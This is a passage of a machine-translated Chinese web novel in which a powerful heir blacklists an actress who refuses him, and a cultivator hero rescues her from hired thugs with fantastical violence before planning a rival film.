    The people who can get in and out of here are all rich or noble.


    And this moment.


    There is no one in this clubhouse.


    Because today.


    Someone has booked here.


    Although there are many people who come here to spend quite a bit of criticism, but after hearing who is the person who booked the market, they all fell silent.


    The name ���� symbolizes the supreme power in the provincial capital. No one dares to offend him and his family here.


    Xie Tianci lay reclining on the sofa, with his head resting on the thigh of a stunning lady, enjoying her massage with her eyes closed.


    At this moment, someone respectfully yelled: "Xie Shao, people are coming!"


    Xie Tianci opened his eyes and nodded, "Bring in!"


    "Yes!"


    After a while, there are footsteps.


    Xie Tianci didn''t get up, just looked calmly.


    The person who came was a woman.


    Its color is unparalleled!


    Compared with this woman, the so-called beautiful woman who is massaging herself has become mediocre.


    A faint smile appeared at the corner of his mouth.


    "Miss Fan, please sit down!"

 Chapter 82： 1 hand covering the sky

    Fan Mengxue hesitated a little, then sat in the corner farthest from Xie Tianci.


    Xie Tianci smiled slightly, then closed his eyes and enjoyed the beautiful woman''s ears for him.


    The atmosphere in the room became dull and depressing.


    Fan Mengxue gritted his teeth.


    The reason she came to this place.


    all because of this thank God.


    She was originally in the provincial capital, shooting a movie with Stephen.


    But it was yesterday.


    Stephen stopped her with a look of embarrassment.


    "Fan, there is something you need to know!"


    Fan Mengxue didn''t know what was going on, so she smiled and said, "What''s the matter? So mysterious?"


    Steven sighed, "Someone wants to see you!"


    "Oh? Who?" Fan Mengxue was instinctively wary.


    Steven smiled bitterly: "Who else can be in the provincial capital?"


    Fan Mengxue''s heart sank, "Thank you?"


    Stephen''s expression is also a bit solemn, "Yes! It''s the Xie family, and the second son of the Xie family, thank God!"


    Thank God.


    The most famous rich man in the provincial capital.


    Existence that no one dares to mess with.


    Fan Mengxue is a little unclear, so he and Xie Tianci don��t know each other at all. What does he want to see himself for?


    "Xie Jia... is actually the biggest investor in this movie!" Stephen said.


    "Xie Tianci understands that he wants to have a casual meal with you, otherwise, the subsequent investment will be terminated!"


    Fan Mengxue was horrified and shocked, as a person who had been in the circle for four or five years.


    How could she not understand this sinister intention of Thank God.


    But... what should I do?


    Now the movie is half made.


    Everyone in the crew has gotten in touch with each other.


    Under the guidance of a world-renowned director like Stephen, he is gradually getting better.


    Do you just give up like this?


    Steven saw Fan Mengxue��s embarrassment and couldn''t help but sighed slightly, "Fan, I have fought for this matter many times, but Xie Tianci insists on seeing you. I can''t help it. You can consider it yourself!"


    Fan Mengxue reluctantly smiled, "Thank you! I will consider it!"


    Fan Mengxue left in despair.


    When he returned to the residence, Han Yao also rushed after learning the news.


    As the top gold broker in the circle, she has just made countless calls.


    The capital of Zhongdu has nothing to do with the provincial capital. As long as the people in the provincial capital hear that the Xie family is involved, they all evade and no one dares to manage.


    Han Yao looked at Fan Mengxue and said helplessly: "What are you going to do?"


    Fan Mengxue suddenly raised her head, "I plan to go once!"


    Han Yao was taken aback, "But if..."


    Fan Mengxue shook his head, "Don''t worry, I will protect myself. I just want to see what he is going to do!"


    When she said this, Fan Mengxue''s eyes were full of perseverance and a trace of perseverance.


    Han Yao nodded, "Well, I''ll go with you too!"


    Fan Mengxue knew that it was Han Yao who was worried about herself, and couldn''t help but nodded in gratitude.


    "Sister Han..."


    Han Yao smiled, "Well, what else can I say between you and me! You are famous, so I can make money!"


    This is why Fan Mengxue came here.


    After I don''t know how long, Xie Tianci sat up and patted the leg of the woman next to him.


    The woman got up obediently and left.


    Xie Tianci and Fan Mengxue were left in the house.


    Fan Mengxue was a little nervous.


    Thanks to Tianci but smiled slightly, stood up and walked to the wine cabinet, opened a bottle of red wine, poured two glasses, and then handed Fan Mengxue a glass.


    "These are the only bottles of century-old red wine left in the world, Miss Fan can taste it!"


    Fan Mengxue picked it up and took a sip.


    "How?"


    Fan Mengxue nodded, "Sure enough!"


    Thanks to Tianci, he smiled, but his eyes never left Fan Mengxue.


    From his perspective, Fan Mengxue is a hundred times more beautiful than on TV.


    is really a stunner!


    Xie Tianci licked his lips greedily.


    "Miss Fan is really beautiful and beautiful, much more beautiful than on TV!"


    "Thank you!" Fan Mengxue nodded courteously, then gritted his teeth and said, "Xie Shao, may I ask if you are looking for me?"


    Thank God with a smile, drank the red wine in the glass, and then said lightly: "It''s very simple, I want you to be my woman!"


    Such blunt words made Fan Mengxue a little confused.


    Xie Tianci walked closer, bent down to look at Fan Mengxue''s beautiful face, and whispered: "As long as you follow me, everything is yours. I can even spend money to make you a world-class queen!"


    Fan Mengxue was silent.


    Xie Tianci''s heart throbbed, and he couldn''t help but stretch out his hand to prepare to lift Fan Mengxue''s delicate chin.


    But at this moment, Fan Mengxue poured the red wine glass in his hand forward.


    The red wine spilled Xie Tianci and his face was full.


    Xie Tianci was stunned.


    Fan Mengxue stood up slowly, and said every word: "Xie Shao, I''m sorry, I don''t agree with this proposal!"


    The corners of Xie Tianci''s eyes began to jump frantically, and their eyes became cold.


    "Miss Fan, I hope you can think carefully, this is the provincial capital, and I...I am the second son of the Xie family!"


    Fan Mengxue has no fear, and said indifferently: "I know, but I hope you also understand one thing, not all women are greedy for fame and fortune!"


    After talking Fan Mengxue turned around and left.


    Thanks to Tianci with a cold snort, "Fan Mengxue, if you walk out of this door today, I can block you tomorrow, do you believe it?"


    Fan Mengxue stopped her figure, and said calmly: "I believe it, but I still want to tell Shao Xie that you can''t cover many things with one hand!"


    Xie Tianci sneered, "You can try!"


    Xie Tianci did not think that Fan Mengxue really dared to go out of this door at the risk of offending the Xie family.


    Unexpectedly, Fan Mengxue left without hesitation.


    Xie Tianci looked at Fan Mengxue''s leaving back with a cold expression, took out his mobile phone and made a call.


    "The movie investment is terminated, the heroine is replaced, and at the same time...Fan Mengxue is blocked!"


    After he finished speaking, he hung up, a sneer appeared at the corner of his mouth.


    In S City, the Xie family can cover the sky with one hand!


    When the time comes, you will come back on your knees and beg me! Xie Tianci thought to himself.


    Fan Mengxue walked out of the club, and Han Yao greeted him, "How is it?"


    Fan Mengxue smiled, "Nothing!"


    Han Yao felt a little uneasy, but didn''t ask much.


    waited back to the hotel.


    Han Yao received a call from Stephen.


    On the other end of the phone, Stephen said regretfully: "Sorry, now the investor has withdrawn the investment and asked to change the heroine!"


    Han Yao felt tight, knowing that everything was finally irreversible.


    Then Han Yao made a lot of phone calls.


    But this time there are no people willing to answer her phone.


    Because everyone in the circle now knows it.


    Fan Mengxue has been banned by Xie''s Second Young Master!


    Everyone is watching with cold eyes.


    Ready to see how long this Fan Mengxue will hold on before giving in to Shao Xie!

 Chapter 83： Fan Mengxue was blocked

    This is the press conference for the movie "War of the Gods".


    Many reporters arrived early.


    Because of their keen sense of smell, they smelled a bit of big news.


    As expected.


    After all the cast and crew of Clash of the Gods entered the arena, there was a lot of discussion.


    "Why is there no Fan Mengxue?"


    "Yes! She is an absolute heroine, how could she be absent from such an important press conference?"


    "Hey, isn''t that the hottest traffic Xiaohua Ruyue in the circle recently? Why is she here?"


    In these comments, Stephen said with a gloomy face: "For personal reasons, Miss Fan Mengxue withdrew from the crew of the Battle of the Gods and no longer serves as the heroine. The new heroine will be played by Hua Ruyue."


    After speaking, Stephen turned and left, expressing his speechless anger with this action.


    The audience was in an uproar.


    These reporters are going crazy.


    This is the big news that shocked the entertainment industry.


    The Battle of the Gods is the movie with the largest investment and the highest expectations this year.


    So the attention is the highest.


    Now the heroine changes suddenly, and it has to make people think about it.


    "Miss Hua, what do you think about this sudden role as the heroine of a big movie like Clash of the Gods?"


    Hua Ruyue��s exquisite face burst into a stylized smile, and said lightly: ��I don��t have any opinion, everything speaks by strength.��


    boom.


    It��s even more frying pan under the stage.


    Fan Mengxue is also a figure who has won a movie, and is also known as the actress with the strongest acting skills of the new generation.


    Now I hear what Hua Ruyue means, but I am better than her.


    But these reporters are not too big to watch the excitement. Someone hurriedly asked: "Miss Hua, are you saying that Fan Mengxue has no strength?"


    Hua Ruyue said: "I didn''t say that, but you can understand that."


    "But Fan Mengxue is also your predecessor anyway, and I heard that when you first entered the industry, she helped you!" At this time, a reporter who couldn''t stand it came out and said.


    Hua Ruyue sneered, "In the entertainment industry, no one is someone''s predecessor, and I didn''t ask her to help me in the first place. Everything was voluntary. Now her popularity is declining, and it is only natural to be replaced! I''m done! "


    Hua Ruyue stood up, raised her face arrogantly, and walked away proudly.


    And this news shocked the entire entertainment circle with a terrifying speed.


    Many TV media made this press conference public for the first time.


    Han Yao sat in front of the TV and threw the remote control angrily.


    "This white-eyed wolf, you helped her so much before, but now she has fallen into trouble!"


    Fan Mengxue looked calm, but sighed slightly.


    "Mengxue, how about... let''s tell Mr. Xue? He has great magical powers and should be able to solve this matter." Han Yao asked tentatively.


    Fan Mengxue shook his head, "No matter how supernatural he is, he is the Xie family!"


    Han Yao also sighed.


    The Xie family has been entrenched in the provincial capital for decades, and it seems to be a giant.


    Although the Qin family in Beijiang has sprung up in the past ten years, it is still inferior to the Xie family.


    This can be seen from the fact that the Qin family has no commercial layout in the provincial capital.


    That''s why Fan Mengxue is so pessimistic.


    "What should I do? If this matter is not handled properly, then your star road will be completely ruined!" Han Yao was extremely anxious.


    She has tried many methods this day, but they are useless.


    I also received withdrawal letters from more than a dozen endorsement companies, all of which were endorsed by Fan Mengxue.


    yelled at Han Yao, thinking that this group of people was just getting into trouble.


    Fan Mengxue smiled faintly, "The second master of the Xie family wanted to use this method to force me to submit, but he was wrong, I won''t bow my head!"


    Beijiang.


    Aunt Fatty has just sent away a wave of guests and is immersed in the accounts.


    The TV was on and there was a mess of news on it, and no one watched it seriously.


    Xie Jingjing was cleaning the table and chopsticks.


    suddenly.


    A message came in, and it was what happened today at the Clash of the Gods movie conference.


    Xie Jingjing didn''t care at all, but after half watching it, she stopped the work she was holding.


    "Mom."


    "what happened?"


    "You hear... it seems to be about Miss Fan!"


    "Miss Fan? Which Miss Fan?"


    "It''s your favorite Fan Mengxue!" Xie Jingjing said anxiously.


    Aunt Fatty was taken aback, then put down the pen in her hand and turned her head to look carefully.


    After waiting for a while, she was also shocked.


    "This...what''s going on? Why are you suddenly changing people?"


    Xie Jingjing said with a calm face: "There must be a reason!"


    Xie Jingjing took out the phone and started searching.


    The more I look at it, the more shocking it becomes.


    A lot of news is impressively large.


    Fan Mengxue was banned!


    Aunt Fatty was also a little anxious, "This Miss Fan also followed your Brother An to have dinner with us. It seems to have a good relationship with your Brother An. What should I do if this happens?"


    Lao Xie walked out of the kitchen at this time, "What''s the matter? Screaming!"


    "Thank you, old lady, Miss Fan was blocked!"


    Old Xie was taken aback for a moment, then his expression became serious.


    "Quick! Call Xiao An!"


    Xue An was building blocks for his two daughters in the house. When he saw that it was Lao Xie, he picked it up.


    "What''s wrong, Uncle Xie?"


    "Xiao An, are you watching TV?"


    "No, what''s the matter?"


    "Miss Fan, UU reading has been blocked!"


    "Block?" Xue An''s smile gradually faded.


    "Yes! Jingjing just checked it out. It seems that she has offended some big people in the provincial capital. Now she has been collectively blocked and the movie has been replaced."


    "I know Uncle Xie, it''s okay, no one dares to treat Mengxue with me!" Xue An said lightly.


    After hanging up, Xue An immediately started calling Fan Mengxue''s number, but no one answered.


    Xue An frowned and suddenly got up.


    "Baba, what''s wrong?"


    Xue An lowered his head and smiled at his two daughters, "It''s okay, yes, Baba will take you to the provincial capital for a few days, OK?"


    "Good! Good!" Xue Xiang and Xue Nian nodded repeatedly.


    Anqing walked into the living room at this time, and she couldn''t help being a little stunned.


    "Why go to the provincial capital?"


    Xue An said the matter briefly.


    An Qing''s complexion became serious.


    "Offended a big man in the provincial capital? Except for the Xie family, no one in the provincial capital can be called a big man!"


    Then An Qing said in a deep voice: "Xue An, this Xie family is not ordinary, even in Zhongdu, they have their influence. Compared with him, the Qin family is far behind, so you have to think clearly."


    Xue An faintly smiled, "Big man? In my eyes, no one is worthy of these three words!"


    "But..." An Qing wanted to say something else.


    Xue An waved his hand and said indifferently: "This Fan Mengxue is my high school classmate. I know her character. I never tell anyone about anything, but I promised her that if someone dares to bully her, I will deal with it. So this I''ll take care of the second thing!"


    An Qing sighed, "Well, I''ll go, too. Anyway, I have also met the Xie family."

 Chapter 84： Dirty means

    At this moment, Hua Ruyue was snuggling in Xie Tianci��s arms, and said coquettishly: "Xie Shao, you are so amazing. One sentence made Fan Mengxue��s **** never stand out!"


    Xie Tianci smiled faintly, "It''s just an actor, I let her live and die, and now I just show her some color, if she still doesn''t know the truth, don''t blame me for destroying flowers!"


    Hua Ruyue shivered when she saw the vicious light flashing in Xie Tianci''s eyes.


    "Why? Scared?" Xie Tianci glanced at Hua Ruyue.


    Hua Ruyue hurriedly smiled and said: "Xie Shao, I..."


    Xie Tianci has already vented from her, so she said in disgust: "Okay, get out of here!"


    Hua Ruyue did not dare to say anything, got up and put on clothes, and walked out of the room.


    But she didn''t feel sad at all, but was full of excitement.


    The battle of the gods!


    That''s a top masterpiece!


    I am now the absolute heroine inside, and this time I can spread my reputation abroad.


    As for a little dignity...


    Can you sell money?


    And Hua Ruyue''s eyes shone viciously.


    Now, the person I sent should be at the hotel.


    Fan Mengxue, I will ruin you this time!


    And don��t blame me!


    blame only blame, you offend Xie Shao!


    Hua Ruyue thought with a sneer.


    When Qin Yuan knew that Xue An was going to the provincial capital and was about to break his wrist with the Xie family, he was also a little shocked.


    "Mr. Xue! It''s not that our Qin family doesn''t trust you, but the Xie family is not an ordinary wealthy family. It is terrifying to hear that there are long-lasting ancestors in it. After all, you are weak..."


    Xue An smiled faintly, "Thank you for your concern, but I am going to make a decision for the provincial capital!"


    Qin Yuan moved his mouth, and finally nodded helplessly, "Well, Mr. Xue, my Qin family has no property in the provincial capital, because the Xie family has used the iron barrels in the provincial capital for decades, and the needle cannot be inserted. , So it can''t help much!"


    "Old Black!"


    The Black King who had been with Qin Yuan came over, "Master!"


    "You go with Mr. Xue, you must do your best to help Mr. Xue!"


    "Yes!"


    Xue An wanted to refuse. In his opinion, the so-called giants are nothing more than a group of chickens under their fists.


    Seeing that Qin Yuan is so sincere, Xue An also nodded.


    "Okay! Then go now!"


    Beijiang is more than four hundred miles away from the provincial capital, and it can be reached in three hours by car.


    But when the car was driving on the highway at night, Xue An suddenly frowned and looked solemn.


    Because he felt a connection in the distance, he suddenly disconnected.


    This connection is the self-defense circle on the ring he gave to Fan Mengxue.


    At that time, Xue An just did it easily, and a trace of spiritual thought was deposited on it.


    If there is a change, I can know it for the first time.


    I didn''t expect it to be disconnected suddenly now.


    Xue An said to An Qing: "You and Lao Hei will rush over afterwards, I will go one step first!"


    "Go ahead?" An Qing still didn''t understand what she meant.


    Xue An nodded, and casually cast dozens of body protection formations on Thinking and Niannian while he was asleep.


    These are all superb arrays blessed by Xue An''s original power.


    Xue An is confident that even if a nuclear bomb is bombed, his two daughters will be safe and sound.


    Then he opened the door and jumped down in the horrified eyes of the driver and An Qing.


    The speed of more than one hundred kilometers had no effect on Xue An. After falling directly on the ground, Xue An raised his head and the whole person went straight into the sky and disappeared in a flash.


    this moment.


    In the hotel where Fan Mengxue was staying, several people in black winked at each other, and suddenly opened the door.


    At the moment, Fan Mengxue is alone in the house, she is preparing to take a bath and sleep.


    The sudden intrusion of a group of people made her a little dazed.


    "you guys����."


    The man in black snorted, "Miss Fan, you should pay back the money you owe us!"


    "I owe you money? When did I owe you money?" Fan Mengxue was taken aback, and then angered.


    At this time, the man in black who came in directly locked the door.


    Fan Mengxue knew it was not good, and stood up and said coldly: "What are you going to do? I tell you, if you don''t get out, I can call the police!"


    "Call the police? You report?" The man in black laughed wretchedly, and then a person behind him took out the camera and started recording.


    The man in black is a big fat man who describes wretchedness, walking towards Fan Mengxue with a grin.


    "It''s really a beauty that I feel pity for. If this is shot, it will definitely sell for a good price!"


    A trace of panic flashed in Fan Mengxue''s eyes. She had seen many dirty tricks in the entertainment industry.


    For example, some conscientious companies, in order to control their artists, will deliberately order people to **** and take pictures as a threat.


    "Don''t come here!" Fan Mengxue picked up the fruit knife on the table and retreated to the corner.


    The black fat man didn''t care, hehe sneered: "It''s just that you don''t have long eyes, and Shao Xie is offended, so don''t hate your brothers for smashing flowers. If you are ready, we will not embarrass you!


    said, rushed over.


    Fan Mengxue screamed, but at this moment, a halo spread out from the ring she was wearing, just forming a light cocoon, protecting Fan Mengxue inside.


    And this fat black man was directly crushed by the halo.


    That''s right!


    directly hit into pieces of no more than five centimeters in diameter!


    This scene made Fan Mengxue dumbfounded.


    And these remaining people in black looked at each other, and then someone took out a pistol and pulled the trigger at Fan Mengxue.


    bang bang bang.


    After a few shots, the bodyguard array that Xue An scribbled was broken.


    "Damn, the little **** has such a strange treasure, I won''t kill you tonight!" Another black man sneered.


    Then these people slowly gathered around.


    Fan Mengxue hugged his shoulders, trembling all over, and at the same time, he had clenched the fruit knife in his hand, ready to commit suicide.


    is death!


    She also didn''t want to fall into the hands of these bad guys.


    Xue An, there is no chance to see you in this life, and in the next life, I will definitely marry you! Fan Mengxue thought in her heart, resolutely preparing to pierce the fruit knife into her heart.


    can be at this moment.


    A calm voice suddenly sounded.


    "You haven''t eaten yet, what do you want to eat later?"


    This voice made these people in black startled, and Fan Mengxue was shocked, and then looked at the door in disbelief.


    This voice is too familiar to her.


    How can I hear the sound that I have heard in my dream countless times.


    And just now, Fan Mengxue was still thinking in despair, how good would he be if he were here now?


    then smiled miserably again, thinking that he was just a foolish dream.


    Unexpectedly, in a blink of an eye, the fantasy became a reality.


    This look is indifferent, and there is still a man with a smile on the corner of his mouth. Who is it if it is not Xue An?

 Chapter 85： Close eyes

    Fan Mengxue felt her whole body soft, but she couldn''t stop her tears falling down.


    is like an aggrieved sister coming home to see her brother.


    And these people in black looked at each other, all a little suspicious.


    A man in black shouted coldly: "Who are you? I don''t know if we help in black clothes, don''t idlers come near? Get out!"


    Xue An smiled slightly, "Black Clothes Gang? To be honest, this name is really unimaginative."


    "Who the **** are you..." Someone yelled and punched.


    Xue An didn''t even look at him. As soon as he stretched out his hand, he pinched his head, and then smiled at Fan Mengxue.


    "Close your eyes!"


    Fan Mengxue quickly closed her eyes.


    And Xue An''s hand was hard at this time.


    Snapped.


    The head of the man in black was like a rotten watermelon, which was directly squeezed by Xue Ansheng.


    The fishy smell of brains permeated, causing the remaining few people in black to fight with their calves.


    is too cruel!


    Killed a man with a gesture, and looked at the indifferent expression as if he had killed a chicken.


    At this time, Xue An showed her white teeth and smiled sensibly: "It feels good, now... it''s your turn!"


    The remaining people in black were so scared that they were about to run away. Then they felt a prickling under their feet. When they looked down, they realized that a white flame rose from under their feet.


    The flame has no temperature, but it burns these people in black to nothing.


    Only the last man in black is left.


    Xue An walked over slowly. The man in black shivered like sifting chaff, thumped and knelt on the ground, crying, "Spare, spare! I was wrong, I will never dare anymore!"


    Xue An stopped in front of him and said lightly: "Who ordered you to come?"


    The man in black trembled all over, with a hesitant look on his face.


    Xue An shook his head, "Forget it, let me see for myself!"


    said that as soon as he grabbed it, a phantom appeared from the man in black''s sky spirit cover, and the corpse threw himself to the ground.


    The soul of the man in black is weak and pitiful, a gust of wind can blow away, and the eyes looking at Xue An are full of extreme fear.


    Xue An squeezed it casually, and the key memory was taken out.


    And after reading it, Xue An couldn''t help but frown.


    This black-clothed gang really does a lot of evil, and there are no less than a dozen women who have only harmed them. It''s really deadly!


    Xue An flicked his finger, and the remaining corpse was quickly burned to nothing.


    Then Xue An said, "Okay, open your eyes!"


    Fan Mengxue slowly opened his eyes, and the first thing that caught his eye was Xue An''s smiling face.


    Just like the teenager who stood up when he was bullied in class more than ten years ago.


    smiled so beautifully.


    Fan Mengxue suddenly fell into Xue An''s arms and started crying loudly.


    This kind of thing is really terrible for a girl.


    If Xue An did not come, then Fan Mengxue would only end up in two ways. One was to be humiliated and then filmed, and the other was to commit suicide.


    It is even possible that these people in black will not let them go after they die.


    Xue An is very calm at the moment.


    just silently in my heart, wife, don��t be angry! I am here to help Tianxingdao eliminate violence and Anliang Road.


    cried for a while, and Fan Mengxue let go of her hand a little embarrassed.


    Xue An rubbed her head and smiled slightly, "You...what a crying ghost! Go, go eat first!"


    Fan Mengxue lives in a five-star hotel, and there is a 24-hour cafeteria downstairs.


    Fan Mengxue had no appetite in the past two days, and basically never came down to eat.


    But Xue An came today, and she suddenly had an appetite, and she was eating happily.


    At this moment, Han Yao hurriedly arrived.


    She went out to find an acquaintance, thinking that she could settle the matter through the relationship, but when she came back, she heard that something went wrong upstairs, and she seemed to be moved.


    She couldn''t help being shocked, knowing it was not good, and hurried upstairs.


    There was no one in the house, and Han Yao panicked. Fortunately, a waiter said that Miss Fan and a man went downstairs for dinner.


    Han Yao hurried over now.


    Waiting here, Han Yao couldn''t help letting out a sigh of relief when he saw Xue An.


    To Xue An, she has an unexplainable trust.


    As if the sky was falling, this man could hold it up.


    And Xue An also saw Han Yao, his expression slowed down and nodded.


    Although this woman was not very happy when they met for the first time, she was really kind to Fan Mengxue.


    "Mengxue, are you okay!" Han Yao asked concerned after sitting down.


    Fan Mengxue shook his head, "It''s okay!"


    "Damn, who did it?" Han Yao couldn''t help but angrily after hearing the passing.


    "The one who sent someone to deal with Mengxue was a person named Hua Ruyue!" Xue An said.


    "Hua Ruyue?" Han Yao was startled, and immediately said angrily: "This wolf-hearted bitch, who actually used such a trick, really deserves a thousand cuts!"


    Xue An smiled, then looked at Fan Mengxue, and said lightly: "How are you going to clean up these people?"


    Fan Mengxue was silent.


    She is not a Virgin, so she is naturally angry.


    But the other party is a behemoth like the Xie family!


    She knows that Xue An is great, but how can a person be such a powerful opponent?


    Xue An saw Fan Mengxue''s thoughts, smiled slightly, and said: "If you want them to die now, then I can make Xie Jia and Hua Ruyue not see the sun tomorrow."


    ''S tone was flat, as if he was saying something that was not ordinary.


    But Han Yao couldn''t help her scalp tingling.


    Such a murderous incident is not worth mentioning in Xue An''s mouth.


    "But I think it''s too boring to let them die like this!" Xue An continued.


    "Then you mean..." Fan Mengxue said.


    Xue An smiled, "Didn''t they block you? Well, let''s teach these so-called giants how to behave. He replaced your movie. Let''s make a movie by ourselves and see who can have the last laugh. ."


    "Make a movie?" Fan Mengxue and Han Yao blurted out in surprise.


    "Yes!"


    "But who dares to invest in me now?" Fan Mengxue said.


    Xue An chuckled, "If no one invests, I will come. Is five hundred million enough?"


    Xue An has this confidence, as long as he speaks himself, the Qin family will pay for it without hesitation.


    Because they dealt with this time, but their mortal enemy Xie Jia.


    "What about the director?" Fan Mengxue asked.


    Xue An looked at Han Yao.


    Han Yao gritted her teeth and slammed the table. "Mr. Xue is right. These people are deceiving people too much. We don��t believe in evil. We make a movie for them to see. As for the director, let me think about it. Method!"


    "What if there is a script?"


    Xue An smiled, "Don''t worry about the script, and this movie is not only for them to watch, but to tell them that some people can''t be offended."


    "So the name of this movie is... Killing God!"


    This murderous name made Fan Mengxue a little lost in an instant.


    The opponent is called the War of the Gods, here is called the Killing of the Gods, obviously they are going to work against it!


    And depending on what Xue An meant, this is just the beginning.


    Actually Xue An really thought so.


    If you just make a movie and let them go, wouldn��t it be too cheap for them?


    And when Xue An entered the city, he felt a breath.


    Although a bit obscure, it is obviously from a loose fairy.


    No wonder it is so arrogant, it turns out that it is because of the backing behind.


    But Xue An just smiled lightly.


    Sanxian?


    In my fairy palace back then!


    Every bird feeder must be a real wonderland.

 Chapter 86： Dust to dust

    "Okay, Mr. Xue, I understand, I will reply to you immediately!" Qin Yu hung up the phone solemnly.


    "What did Mr. Xue say?" Qin Yuan asked, standing in front of the office window.


    "He is going to help Fan Mengxue shoot a movie, let us be investors!"


    "What do you think?" Qin Yuan asked without looking back.


    Qin Yu hesitated, "It''s not difficult to invest in capital. A few hundred million yuan is not a big deal for the Qin family, but if you do this, it will be the opposite of the Xie family."


    Qin Yuan smiled, and suddenly answered what he had not asked: "Yu''er, look at this huge city outside the window, how bright it is."


    This office is located on the top floor of the tallest building in Beijiang City. Standing in front of the floor-to-ceiling windows, it can be said to have a small view of the mountains. It seems that the entire Beijiang City is underfoot.


    Qin Yu is a little unclear.


    Qin Yuan went on to say: "For so many years, we have been living in harmony with Xie��s well water, and seem to get along, but do you think it��s really as friendly as it appears?"


    "The business field is the battlefield, even more cruel than the battlefield. Do you know why our Longtai Group does not have any industry in the provincial capital? In fact, it was not like that at the beginning. At that time you were still young. I sent a lot of powerful hands to the provincial capital to open up the market. , There was your father among them, but in the end they were even killed."


    At this point, Qin Yuan''s voice is a little low.


    Qin Yu felt tight and listened quietly.


    Qin Yuan sighed, "Later, when I got older and weakened, I lost my vengeance. Fortunately, I met Mr. Xue and got his hands. I recovered my health. Now, It''s time to calculate the accounts of the year!"


    Qin Yu nodded thoughtfully.


    "Mr. Xue is a wise man, even the most wise person I have ever met. He went to the provincial capital this time. The reason why I sent the Black King to accompany him was actually to show him the intentions of our Qin family."


    "That is, no matter what happens, the Qin family will be the loyal backing of Mr. Xue! This is why he asked us to invest! What he... is not just a movie!"


    "Then...Grandpa, you mean..."


    "I''m sitting here, you take enough funds to visit the provincial capital in person! Mr. Xue wants five hundred million, then you take one billion over!" The light in Qin Yuan''s eyes became sharper.


    Qin Yu looked solemnly, nodded and said, "Yes!"


    "The dust returns to the dust, the soil returns to the soil, some things should be done!" Qin Yuan looked at the bustling city under his feet, and there seemed to be flames burning in his eyes.


    Han Yao''s face is extremely ugly.


    Because she made countless calls throughout the morning, all of them were more well-known directors in the circle, but when she heard that she was the director of Fan Mengxue''s new movie, she declined all of them politely.


    The unfavorable start of the teacher made Han Yao and Fan Mengxue''s hearts gradually sink.


    The influence of the Xie family in the circle is obviously bigger than imagined.


    Only Xue An has always been very indifferent, even playing jigsaw puzzles with his two daughters all morning.


    After noon, even after the last call to no avail, even Han Yao fell into despair.


    But at this moment, the doorbell rang, and when the black king opened the door, a man wearing a mask walked in.


    Waiting for him to take off his mask, it was Stephen.


    "Mr. Stephen, you are..." Han Yao and Fan Mengxue both stood up quickly.


    Stephen smiled apologetically, and then solemnly nodded to Xue An who was sitting on the chair.


    "Mr. Xue."


    Xue An nodded, "Sit down!"


    Steven shook his head, "I won''t sit down, there are still many things on the crew side, I came to tell you, if you really plan to make a movie, I can recommend someone!"


    "Who?" Han Yao''s eyes lit up.


    Stephen said: "This person is my friend back then. The director''s skill is not inferior to me. It''s just because he doesn''t fear the dignitaries. He offended the Xie family and was hid by the snow. He also heard that his lover later became seriously ill. Sinking."


    "Did you mean..." Han Yao hesitated for a moment.


    Steven nodded, "Yes, it''s Cao Zheng, who was originally known as a ghost director."


    "He is also in the provincial capital?"


    Steven nodded, "I invited him to a foreign country back then, but he declined it. I haven''t contacted him for a long time, but I can be sure that he must still be in the provincial capital!"


    Han Yao was excited.


    Cao Zheng is a myth in the entertainment industry.


    ''S works have won many awards even abroad.


    just disappeared suddenly later, because it turned out to be because of offending the Xie family.


    Steven smiled bitterly at this time: "I didn''t expect things to develop into this way. When this movie is over, I will leave China and never come again. After all...the water inside is too deep."


    "And..." Stephen stopped talking.


    "What''s wrong?" Xue An raised an eyebrow.


    "This time, Xie''s family has obviously moved in real life and added a lot of investment. Xie Tianci is very ambitious and even wants to use this film to compete in the overseas film market."


    The meaning of Stephen��s words is very clear. He is advising Xue An. If you really want to teach the Xie family a lesson in the movie, it will be very difficult!


    Xue An smiled faintly, "It''s a good thing to be very ambitious, but if you don''t have the same strength, it''s just a delusion!"


    Steven told Han Yao the address, then put on the mask again and left.


    Han Yao was very excited and was about to leave immediately to invite Xue An also stood up and said, "I''ll go with you! The Black King is here to guard."


    The black king nodded, "Understood!"


    "Baba, we have to go too!"


    Xue An smiled, bent over and picked up his two daughters, "Okay!"


    This is a very dilapidated community, because no one manages it, so the streets are full of rubbish.


    The people who live here are basically people from the bottom of society who have no source of income.


    Han Yao parked the car in front of a building with a history of forty to fifty years. After getting out of the car, she couldn''t help frowning.


    The surrounding environment is too bad.


    The once famous director Cao Zheng, does he live in such a place?


    waited into the corridor, a pungent smell rushed straight to his nostrils, it was so dark that there was no light.


    Steven��s address says it is on the fifth floor. When he came to the door, Han Yao just wanted to knock on the door, but the door opened.


    Then a sloppy man stood in front of the door, looking at Han Yao and Xue An with guard eyes.


    "Excuse me, is this Teacher Cao Zheng''s home?" Han Yao asked politely.


    "No!" The man closed the door abruptly.


    Han Yao ate her nose and gritted her teeth angrily.


    But for the sake of the movie, she endured humiliation and continued to knock on the door.


    It took longer to knock this time. It was estimated that it took five minutes before the man opened the door impatiently.


    Han Yao gritted her teeth, and then said with a smile: "Who are you from Teacher Cao Zheng? This address was told to me by Director Stephen. You..."


    "Are you annoying, I said no!" The man was about to close the door again.


    But at this moment, Xue An said indifferently: "If you don''t get medical treatment, at most three days, your wife will have to die."

 Chapter 87： Ghost director

    The man was stunned.


    "You...who are you?" The man was a little angry, but more sad.


    Xue An smiled lightly, "It doesn''t matter who I am, but I can cure your wife''s disease!"


    Cao Zheng stood there for a moment, with some doubts on his face.


    And at this moment Xue wanted to blink his eyes and said seriously: "Uncle, I''m so amazing!"


    Cao Zheng stepped aside, and said in a low voice, "Come in! I am Cao Zheng!"


    The light in the room was very dark, but it was cleaned up, and there was a strong smell of Chinese medicine in the air.


    And a scrawny woman was lying on the bed with eyes blank, her face full of lifelessness.


    Xue An is right, if there is no treatment, then this woman will not last at most three days.


    "Who...ah!" the woman said weakly.


    Cao Zheng only showed tenderness and pampering when facing this woman.


    "A few friends, and this one is here to see you."


    The woman shook her head, "Okay, no one can see my illness, so don''t spend money for me again! Save some money, and you can find another one after I leave!"


    Cao Zheng''s eyes are full of petting, "What silly thing to say, you will definitely get better."


    As Cao Zheng turned away, tears appeared in his eyes.


    Han Yao originally wanted to explain what she came for, but she couldn''t help being moved when she saw this scene.


    It''s no wonder that such a famous director once fell to this place. It turned out that it was all for the woman he loved.


    Xue Xiang and Xue Nian tugged at the corner of Xue An''s clothes at this time, and said sadly: "Baba, you can save this auntie, they are so pitiful!"


    Xue An smiled.


    Sure enough, the heart of a child is always the purest.


